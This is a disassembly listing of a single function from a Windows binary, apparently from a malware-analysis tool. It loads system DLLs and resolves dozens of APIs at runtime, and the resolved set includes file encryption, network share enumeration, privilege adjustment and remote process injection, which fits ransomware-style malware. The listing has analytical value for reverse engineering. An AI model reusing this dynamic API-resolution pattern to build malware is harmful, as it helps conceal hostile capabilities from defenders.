Function at 0x7ff788e24bbc
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
call fcn.7ff788e2351c
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.mpr.dll
mov qword [0x7ff788f7e460], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.advapi32.dll
mov qword [0x7ff788f7e568], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.ole32.dll
mov qword [0x7ff788f7e468], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.Shell32.dll
mov qword [0x7ff788f7e138], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.Iphlpapi.dll
mov qword [0x7ff788f7e4f8], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.VirtualFree
mov qword [0x7ff788f7e538], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptExportKey
mov qword [0x7ff788f7e5d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.DeleteFileW
mov qword [str.Phn.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetLastError
mov qword [0x7ff788f79e40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetDriveTypeW
mov qword [0x7ff788f7e4f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetCommandLineW
mov qword [0x7ff788f79e30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetStartupInfoW
mov qword [0x7ff788f7e598], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.FindNextFileW
mov qword [0x7ff788e41bf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.VirtualAlloc
mov qword [0x7ff788f79e08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.GetUserNameA
mov qword [0x7ff788e41c38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.ExitProcess
mov qword [0x7ff788f7e150], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.Wow64RevertWow64FsRedirection
mov qword [0x7ff788f7e520], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateProcessA
mov qword [0x7ff788e41bf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e538]
lea rdx, str.GetIpNetTable
mov qword [0x7ff788f7de48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetVersionExW
mov qword [0x7ff788f7e580], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.Wow64DisableWow64FsRedirection
mov qword [0x7ff788f7e5b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetSystemDefaultLangID
mov qword [0x7ff788f7e5d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.GetUserNameW
mov qword [0x7ff788f7e5a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.ReadFile
mov qword [str._fn.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.RegQueryValueExA
mov qword [0x7ff788e41c10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CloseHandle
mov qword [0x7ff788f7e148], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.RegSetValueExW
mov qword [0x7ff788f7e528], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.RegCloseKey
mov qword [0x7ff788f7e4c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CopyFileA
mov qword [0x7ff788f7e490], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.SetFileAttributesW
mov qword [0x7ff788f7e488], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.WinExec
mov qword [0x7ff788f7e160], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptDeriveKey
mov qword [0x7ff788f7e548], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptGenKey
mov qword [0x7ff788f7e550], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.Sleep
mov qword [0x7ff788f7e5a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetCurrentProcess
mov qword [0x7ff788f79de0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e4f8]
lea rdx, str.ShellExecuteW
mov qword [0x7ff788f7e570], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetFileSize
mov qword [0x7ff788f7e4e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GlobalAlloc
mov qword [0x7ff788f7e4c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.FindClose
mov qword [0x7ff788f79e38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.WaitForMultipleObjects
mov qword [0x7ff788f7e590], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetModuleFileNameA
mov qword [0x7ff788f7e560], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e4f8]
lea rdx, str.ShellExecuteA
mov qword [0x7ff788f7e170], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetModuleHandleA
mov qword [0x7ff788f7e500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetModuleFileNameW
mov qword [0x7ff788f7e140], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateFileA
mov qword [0x7ff788f7e5e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetFileSizeEx
mov qword [0x7ff788f7e578], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.WriteFile
mov qword [0x7ff788f79e10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetLogicalDrives
mov qword [0x7ff788f79df0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e568]
lea rdx, str.WNetEnumResourceA
mov qword [0x7ff788f79e00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.RegOpenKeyExW
mov qword [0x7ff788f7e510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e568]
lea rdx, str.WNetCloseEnum
mov qword [str.0an.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetWindowsDirectoryW
mov qword [0x7ff788f7e508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.SetFileAttributesA
mov qword [0x7ff788f7e398], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.RegOpenKeyExA
mov qword [0x7ff788f7e178], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.SetFilePointer
mov qword [0x7ff788e41c30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetTickCount
mov qword [0x7ff788f7e5c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetFileAttributesW
mov qword [0x7ff788f7e498], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.FindFirstFileW
mov qword [0x7ff788f7e5e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptAcquireContextW
mov qword [0x7ff788f7e478], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.MoveFileExW
mov qword [0x7ff788e41c08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e568]
lea rdx, str.WNetOpenEnumA
mov qword [0x7ff788f7e388], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x7ff788e41be0], rax
mov rcx, qword [0x7ff788f7e138]
lea rdx, str.CoInitialize
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptDecrypt
mov qword [0x7ff788f7e530], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptImportKey
mov qword [0x7ff788f7d508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.SetFilePointerEx
mov qword [str.0hn.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CopyFileW
mov qword [0x7ff788f7e390], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.FreeLibrary
mov qword [0x7ff788f79e18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateProcessW
mov qword [0x7ff788f7e158], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateDirectoryW
mov qword [0x7ff788f79df8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateThread
mov qword [0x7ff788f79e28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptDestroyKey
mov qword [0x7ff788f7e4b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e138]
lea rdx, str.CoCreateInstance
mov qword [str.0on.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateFileW
mov qword [0x7ff788f7e168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.GetFileAttributesA
mov qword [0x7ff788e41c20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.CryptEncrypt
mov qword [0x7ff788e41be8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.RegDeleteValueW
mov qword [str.0_p.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.EnumServicesStatusW
mov qword [0x7ff788f7e5c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.GetTokenInformation
mov qword [0x7ff788f7e3c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.ImpersonateSelf
mov qword [0x7ff788f7e3d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.LookupPrivilegeValueW
mov qword [0x7ff788f7e3d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.OpenProcessToken
mov qword [0x7ff788f7e3e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [str.pjn.], rax
lea rdx, str.OpenSCManagerW
mov rcx, qword [0x7ff788f7e468]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.OpenThreadToken
mov qword [0x7ff788f7e3f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.AdjustTokenPrivileges
mov qword [str.Pjn.], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.VirtualAllocEx
mov qword [0x7ff788f7e3c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e468]
lea rdx, str.LookupAccountSidW
mov qword [0x7ff788f7e400], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e4f8]
lea rdx, str.CommandLineToArgvW
mov qword [0x7ff788f7e408], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.WriteProcessMemory
mov qword [0x7ff788f7e3b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.VirtualFreeEx
mov qword [0x7ff788f7e410], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e460]
lea rdx, str.CreateRemoteThread
mov qword [0x7ff788f7e420], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e538]
lea rdx, str.GetAdaptersAddresses
mov qword [0x7ff788f7e428], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e538]
lea rdx, str.IcmpCloseHandle
mov qword [0x7ff788f7e438], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e538]
lea rdx, str.IcmpCreateFile
mov qword [0x7ff788f7e440], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x7ff788f7e538]
lea rdx, str.IcmpSendEcho
mov qword [0x7ff788f7e448], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x7ff788f7e450], rax
add rsp, 0x28
ret